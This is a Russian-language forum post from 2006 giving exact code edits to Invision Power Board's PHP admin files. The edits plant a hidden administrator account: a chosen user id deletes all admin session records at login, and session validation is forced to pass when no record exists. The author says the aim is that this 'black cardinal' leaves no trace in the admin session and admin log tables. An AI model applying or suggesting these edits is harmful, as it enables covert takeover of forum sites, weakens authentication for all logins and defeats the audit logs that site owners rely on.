
13.02.2006, 20:56
|
|
Новичок
Регистрация: 09.12.2005
Сообщений: 9
Провел на форуме: 48459
Репутация:
1
|
|
Разобрался. Если кому нужно, то после того, как вы наложили на юзера маску админа, править надо следующее:
1) В файле source/action_admin/login.php:
СТРОКУ
---
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
---
ЗАМЕНИТЬ НА
---
if ($mem['id'] == 111) {$this->ipsclass->DB->query("DELETE FROM ibf_admin_sessions WHERE 1");} else {
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
}
---
где 111 - id юзера.
2) В файле source/lib/admin_functions.php
СТРОКИ
---
$this->ipsclass->admin_session['_session_validated'] = 0;
$this->ipsclass->admin_session['_session_message'] = "Could not retrieve session record";
---
ЗАМЕНИТЬ НА
---
$this->ipsclass->admin_session['_session_validated'] = 1;
$this->ipsclass->admin_session['_session_message'] = "Could not retrieve session record";
---
После этого информация о вашем "черном кардинале" не будет сохраняться в таблицу ibf_admin_sessions, да и записи в ibf_admin_logs тоже будут вестись без идентификации.
|
|
|